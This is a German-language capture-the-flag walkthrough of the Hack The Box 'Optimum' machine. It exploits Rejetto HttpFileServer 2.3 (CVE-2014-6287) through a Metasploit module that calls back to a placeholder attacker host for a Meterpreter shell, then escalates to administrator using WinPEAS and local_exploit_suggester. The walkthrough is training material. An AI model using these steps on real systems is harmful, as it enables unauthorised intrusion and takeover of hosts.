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Optimum — Writeup der Optimum-Maschine von Hack The Box. Dieser Walkthrough behandelt die Ausnutzung von Rejetto HttpFileServer 2.3 (CVE-2014-6287), um ersten Zugriff zu erlangen, gefolgt von der Privilege Escalation auf einem Windows-Host mithilfe von Enumerationstechniken und Post-Exploitation-Tools. | Kitploit
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Writeup der Optimum-Maschine von Hack The Box. Dieser Walkthrough behandelt die Ausnutzung von Rejetto HttpFileServer 2.3 (CVE-2014-6287), um ersten Zugriff zu erlangen, gefolgt von der Privilege Escalation auf einem Windows-Host mithilfe von Enumerationstechniken und Post-Exploitation-Tools.

Optimum

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Optimum


Optimum – Hack The Box Writeup

Übersicht

Bei dieser Maschine besteht das Ziel darin, zunächst Zugriff auf einen Windows-Host zu erlangen, indem ein verwundbarer Webdienst ausgenutzt wird, und anschließend die Privilegien auszuweiten, um die Administrator-Flag zu erhalten.

Der Angriffspfad umfasste:

  • Dienst-Enumeration
  • Ausnutzung von Rejetto HTTP File Server 2.3
  • Erster Zugriff über Metasploit
  • Privilegienausweitung mithilfe von WinPEAS und Metasploit-Post-Exploitation-Modulen

Aufklärung

Wir beginnen mit einem vollständigen TCP-Portscan, um exponierte Dienste zu identifizieren.

root@kitploit:~
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>

Der Scan zeigt, dass Port 80 offen ist.

Als Nächstes führen wir einen Dienst- und Versionsscan durch.

root@kitploit:~
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>

Das Ergebnis identifiziert den folgenden Dienst:

root@kitploit:~
HttpFileServer 2.3

Dieser Dienst entspricht Rejetto HTTP File Server, einem leichtgewichtigen Webserver für die Dateifreigabe.


Schwachstellenidentifizierung

Nach der Recherche zur erkannten Version entdecken wir eine bekannte Schwachstelle:

root@kitploit:~
CVE-2014-6287

Diese Schwachstelle ermöglicht Remote-Codeausführung aufgrund unzureichender Eingabebereinigung.


Ausnutzung

Um die Schwachstelle auszunutzen, verwenden wir Metasploit.

Metasploit starten:

root@kitploit:~
msfconsole -q

Nach dem passenden Modul suchen:

root@kitploit:~
search rejetto

Das Exploit-Modul laden:

root@kitploit:~
use exploit/windows/http/rejetto_hfs_exec

Die erforderlichen Optionen konfigurieren:

root@kitploit:~
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run

Nach der Ausführung liefert der Exploit eine Meterpreter-Sitzung auf der Zielmaschine.


Erster Zugriff

Mit der erhaltenen Meterpreter-Sitzung navigieren wir durch das Dateisystem, um die User-Flag zu erhalten.

root@kitploit:~
cd
cat user.txt
whoami

Die Befehlsausgabe zeigt, dass wir als folgender Benutzer angemeldet sind:

root@kitploit:~
kostas

Da dieser Benutzer keine Administratorrechte besitzt, fahren wir mit der Privilegienausweitung fort.


Enumeration zur Privilegienausweitung

Um potenzielle Vektoren für die Privilegienausweitung zu identifizieren, laden wir WinPEAS hoch, ein bekanntes Tool zur Enumeration von Privilegienausweitung unter Windows.

root@kitploit:~
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe

Anschließend führen wir es aus:

root@kitploit:~
shell
.\wp.exe

Die Ausgabe liefert nützliche Informationen, darunter Anmeldeinformationen, die mit dem Benutzer kostas verknüpft sind.


Privilegienausweitung

Nach der Überprüfung möglicher Ausweitungsvektoren verwenden wir das Metasploit-Modul:

root@kitploit:~
local_exploit_suggester

Das Modul laden:

root@kitploit:~
use post/multi/recon/local_exploit_suggester

Die Sitzung konfigurieren:

root@kitploit:~
set SESSION <SESSION_NUMBER>
run

Dieses Modul schlägt mögliche lokale Exploits vor, die zur Privilegienausweitung verwendet werden können.

Nach erfolgreicher Privilegienausweitung erhalten wir eine Shell mit Administratorrechten.

Überprüfung:

root@kitploit:~
shell
whoami

Administratorzugriff

Sobald wir Administratorrechte erlangt haben, navigieren wir zum Administrator-Verzeichnis, um die Root-Flag zu erhalten.

root@kitploit:~
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt

Wichtige Erkenntnisse

Diese Maschine verdeutlicht mehrere wichtige Konzepte des Penetrationstests:

  • Eine ordnungsgemäße Dienst-Enumeration ist entscheidend, um verwundbare Software zu identifizieren.
  • Öffentlich bekannte Schwachstellen wie CVE-2014-6287 können zu sofortiger Remote-Codeausführung führen.
  • Tools wie WinPEAS helfen dabei, Möglichkeiten zur Privilegienausweitung in Windows-Umgebungen zu identifizieren.
  • Metasploit-Post-Exploitation-Module können den Prozess der Privilegienausweitung beschleunigen.
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